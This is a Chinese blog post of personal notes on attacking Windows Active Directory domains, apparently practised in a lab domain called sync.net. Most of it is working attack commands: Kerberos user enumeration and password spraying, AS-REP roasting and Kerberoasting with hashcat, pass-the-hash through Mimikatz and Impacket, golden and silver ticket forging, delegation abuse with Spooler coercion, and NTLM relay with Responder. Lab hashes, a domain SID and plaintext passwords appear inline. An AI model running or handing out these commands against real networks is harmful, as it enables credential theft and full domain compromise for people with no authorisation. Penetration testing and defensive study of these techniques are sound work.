域渗透

域渗透

用户名枚举

  • 原理

Kerberos协议中AS阶段,kerberos返回的不同错误信息判断

用户状态

Kerberos错误

说明

目前/已启用

KDC_ERR_PREAUTH_REQUIRED

需要额外的预认证

锁定/禁用

KDC_ERR_CLIENT_REVOKED

客户端凭证已被吊销

不存在

KDC_ERR_C_PRINCIPAL_UNKNOWN

在Kerberos数据库中找不到客户端

  • 适用条件

域外,没有域凭证(域内可以查询ladp,net user /domain)

  • 利用方法
  • Msf

auxiliary/gather/kerberos_enumusers

  • Kerbrute

kerbrute.exe userenum --dc DCIP -d domain users.txt

 

Password Spraying(密码喷洒)

  • 原理

Kerberos协议中AS阶段,kerberos返回的错误信息判断

用户状态

Kerberos错误

密码错误

KDC_ERR_PREAUTH_FAILED

  • 利用方法
  • Kerbrute(域外)

kerbrute.exe passwordspray --dc DCIP -d domain user_file password

 

 

  • DomainPasswordSpray.ps1(域内)

Import-Module .\DomainPasswordSpray.ps1

Invoke-DomainPasswordSpray -Password lm123!@#45

 

AS-REPRoasting

  • 原理

当用户登录时,他们使用从其密码生成的加密密钥对一条信息(时间戳)进行加密,以向验证服务器证明他们知道密码。此步骤称为“预身份验证”。

域用户,如果设置了选项”Do not require Kerberos preauthentication(不需要kerberos预身份验证)”

向域控制器的88端口发送AS_REQ请求,会返回使用用户hash加密session-key,我们通过进行离线爆破就可以获得用户hash重新组合

  • 利用方法
  • ps1(非域)

Import-Module .\ASREPRoast.ps1

Get-ASREPHash -UserName 用户名 -Domain 域名 -Server DCIP | Out-File -Encoding ASCII hash.txt

 

 

  • exe(域内)

 

  • 破解
  • 使用hashcat对获得的Hash进行爆破

将hash.txt里面的除Hash字段其他的都删除,复制到hashcat目录下,并且修改为hashcat能识别的格式,在$krb5asrep后面添加$23拼接。

 

hashcat -m 18200 hash pass --force

 

Pass The Hash(Key)

  • 原理

由于在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。因此在只有用户hash,没有明文密码的情况下也是可以进行认证的

  • 如果hash的ntlm hash,加密方式是rc4,这种就算做是pass the hash
  • 如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key
  • 利用条件
  • 工作组
  • Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
  • Windows Vista 之后的机器,只能是administrator(SID:500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
  • 修改目标机器的 LocalAccountTokenFilterPolicy 为1后,使用普通账号也可进行哈希传递攻击

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy

  • 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
  • 利用方法
  • Mimikatz

sekurlsa::pth /user:Administrator /domain:workgroup /ntlm:85185b71cc31dbe7935187ad28d153a8

 

 

  • Impacket

psexec.py

smbexec.py

atexec.py

wmiexec.py

dcomexec.py

都支持使用hash进行远程命令执行,通过--hashes指定hash

 

以psexec.py为例

 

impacket-psexec -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:85185b71cc31dbe7935187ad28d153a8 ./Administrator@192.168.110.134

 

  • Invoke-TheHash(powershell)

Invoke-SMBExec  -Target 192.168.110.134 -Username Administrator -Hash  85185b71cc31dbe7935187ad28d153a8 -Command "calc" -verbose

 

  • Pass the Hash with Remote Desktop

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Pass-the-Hash-with-Remote-Desktop(Restricted-Admin-mode)

Kerberoasting

  • 原理

用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据,这也是kerberoating能利用的原因,任何一个用户,只要hash正确,可以请求域内任何一个服务的TGS票据

  • 请求的kerberos服务票证的加密类型是RC4_HMAC_MD5
  • 利用方法(域内)

spn信息

 

  • Windows
  • 请求票据

kerberos::ask /target:MSSQLSvc/Sync-Web.Sync.net:1433

kerberos::list /export

 

  • Powershell

 Add-Type -AssemblyName System.IdentityModel  

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Sync-Web.Sync.net"  

 

  • 破解(脚本原因未测试)

python3 tgsrepcrack.py pass.txt 1-40a10000-Administrator.kirbi

  • Linux
  • 请求票据

python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -request -dc-ip 192.168.110.12 sync.net/liming:lm123\!\@\#45 -outputfile /root/kirbi.out

 

  • 破解

hashcat -m 13100 kirbi.out pass --force

 

 

pass the ticket(ptt)

  • 原理

Kerbreos 除了第一步AS_ERQ是使用时间戳加密用户hash验证之外,其他的步骤的验证都是通过票据,这个票据 可以是TGT票据或者TGS票据。因为票据里面的内容主要是session_key和ticket(使用服务hash加密的,服务包括krbtgt(金票)),拿到票据之后。我们就可以用这个票据来作为下阶段的验证了。

  • 可以导出一个本机中缓存的票据,或者请求一个新的票据

 

  • 利用方法
  • kekeo
  • 域用户及其口令/ntlm
  • 域控地址
  • 普通域用户权限即可
  • 请求票据

tgt::ask /user:Administrator /domain:sync.net /ntlm:518b98ad4178a53695dc997aa02d455c

 

  • Mimikatz导入票据

Kerberos::ptt TGT_Administrator@SYNC.NET_krbtgt~sync.net@SYNC.NET.kirbi

 

一.1.1. Golden Ticket(黄金票据)

  • 原理

每个用户的Ticket都是由krbtgt的密码Hash来生成的,如果拿到了krbtgt的密码Hash,就可以随意伪造Ticket了(TGT)

  • 条件
  • 要伪造的域用户(这里我们一般填写域管理员账户)
  • 域名
  • 域的SID值(就是域成员SID值去掉最后的)
  • krbtgt账号的哈希值

 

  • 利用方法
  • 导出krbtgt的hash

lsadump::dcsync /domain:sync.net /user:krbtgt

 

  • 制作金票并导入

kerberos::golden /user:administrator /domain:sync.net /sid:S-1-5-21-3759223866-655059005-237591253 /krbtgt:a2c8be6f5c6e665e632468c6dbb235e3

kerberos:ptt ticket.kirbi

 

一.1.2. Silver Ticket(白银票据)

  • 原理

Silver Ticket是由服务账户(通常为计算机账户)hash加密,伪造的是TGS

 

  • 条件
  • /domain
  • /sid
  • /target:目标服务器的域名全称,此处为域控的全称
  • /service:目标服务器上面的kerberos服务,此处为ldap
  • /rc4:计算机账户的NTLM hash,域控主机的计算机账户
  • /user:要伪造的用户名,此处可用mrhonest测试
  • 利用方法
  • 获取服务账户hash

privilege::debug

sekurlsa::logonpasswords

 

 

  • 伪造票据并导入

kerberos::golden /domain:sync.net /sid:S-1-5-21-3759223866-655059005-237591253 /target:sync-dc.sync.net /service:LDAP /rc4:97cb29f2d10e16add3d478583ad91cd0 /user:mrhonest

kerberos:ptt ticket.kirbi

 

  • Dump用户hash

lsadump::dcsync /dc:sync-dc.sync.net /domain:sync.net /user:liming

 

委派

一.1.3. 非约束委派

  • 原理

当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了

  • 利用条件

获取了设置了非约束委派的主机的system权限

  • 利用方法

 

  • 查询设置了非约束委派的主机(域控默认开启)
  • Powershell

Import-Module PowerView.ps1

Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -a

 

 

  • Linux(需要域认证)

ldapsearch -x -H ldap://192.168.110.12:389 -D "CN=chenli,OU=成都,DC=sync,DC=net" -w password -b "DC=sync,DC=net" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

 

 

  • 获取票据TGT

此时如果域管连接了非约束委派的主机(smb,winrm等),TGT就会缓存在内存中

privilege::debug

//导出票据

sekurlsa::tickets /export

 

//导入票据

kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-sync.net.kirbi

 

 

  • 非约束委派+Spooler打印机服务

 

  • 利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接
  • 利用方法
  • 监听来自dc的登录请求

Rubeus.exe monitor /interval:1 /filteruser:sync-dc$

 

  • 强制dc回连

普通域用户权限执行

SpoolSample.exe dc 回连主机

 

  • 收到base64编码后的票据

 

  • 票据转换(powershell)

[IO.File]::WriteAllBytes("绝对路径\TGS\ticket.kirbi", [Convert]::FromBase64String("得到的base64"))

 

  • 导入票据

kerberos::ptt ticket.kirbi

 

可以dump域管hash

 

一.1.4. 约束委派

 

  • 原理

我们得到了user的明文密码或者ntlmHASH(server1的机器用户的明文密码或者ntlmHASH),可以在KDC上申请TGT,然后利用申请到的TGT伪造其它用户(一般是域管,因为只有域管权限才能设置委派)从KDC申请一个访问server2的可转发(使用任何身份验证协议)的TGS, 然后注入TGS即可

如果设置约束委派为"仅使用kerberos",则请求到server2的TGS不可转发(TrustedToAuthenticationForDelegation未配置),s4uProxy会失败

  • 利用条件

满足其一即可:

获取到配置约束委派的服务用户的密码或者ntlm-hash

获取到配置约束委派的服务用户所登录机器的system权限(mimikatz导出服务用户的密码或者ntlm-hash)

  • 利用方法
  • 查找配置约束委派的用户/计算机
  • Powershell

Import-Module PowerView.ps1

////查找域中配置约束委派用户

Get-DomainUser –TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

////查找域中配置约束委派的主机:

Get-DomainComputer–TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

 

  • Linux

//查找域中配置约束委派用户

ldapsearch -x -H ldap://192.168.110.12:389 -D "CN=chenli,OU=成都,DC=sync,DC=net" -w cl123\!\@\#45 -b "DC=sync,DC=net" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

//查找域中配置约束委派的主机:

ldapsearch -x -H ldap://192.168.110.12:389 -D "CN=chenli,OU=成都,DC=sync,DC=net" -w cl123\!\@\#45 -b "DC=sync,DC=net" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

 

  • 请求票据(TGT)

 

 

  • 伪造票据(TGS)

tgs::s4u /tgt:TGT_WINDOWS764-2$@SYNC.NET_krbtgt~sync.net@SYNC.NET.kirbi /user:Administrator@sync.net /service:cifs/sync-dc.sync.net

 

 

  • 导入票据

kerberos::ptt TGS_Administrator@sync.net@SYNC.NET_cifs~sync-dc.sync.net@SYNC.NET.kirbi

 

 

一.1.5. 基于资源的约束委派

待续

Ntlm破解

  • 使用Responder开启服务并监听

responder -I eth0 -wrf

 

  • 诱导主机连接并认证

 

  • 获取到Net-Ntlm

 

  • 使用hashcat破解

hashcat -m 5600  Net-Ntlm /root/pass --force

 

Ntlm中继

  • 原理

ntlm是一个嵌入式的协议,消息的传输依赖于使用ntlm的上层协议,比如SMB,LDAP,HTTP等。

那ntlm的上层协议是smb的情况下,ntlm_relay就是smb_relay。那如果上层协议是http,我们也可以叫做http_relay,但是都统称ntlm_relay

  • 获取ntml

https://daiker.gitbook.io/windows-protocol/ntlm-pian/5

  • 演示

一.1.6. 中继到Smb

impacket-smbrelayx -h 192.168.110.15 -c ipconfig

 

连接中继服务器

 

中继成功并返回执行命令结果

 

一.1.7. 中继到mssql

impacket-ntlmrelayx -t mssql://192.168.110.15 -q "select @@version"

 

连接中继服务器

 

中继成功并返回执行的sql语句结果

 

一.1.8. 其它中继

等我学会的

 

posted @ 2021-07-09 09:38  mrhonest  阅读(609)  评论(0编辑  收藏  举报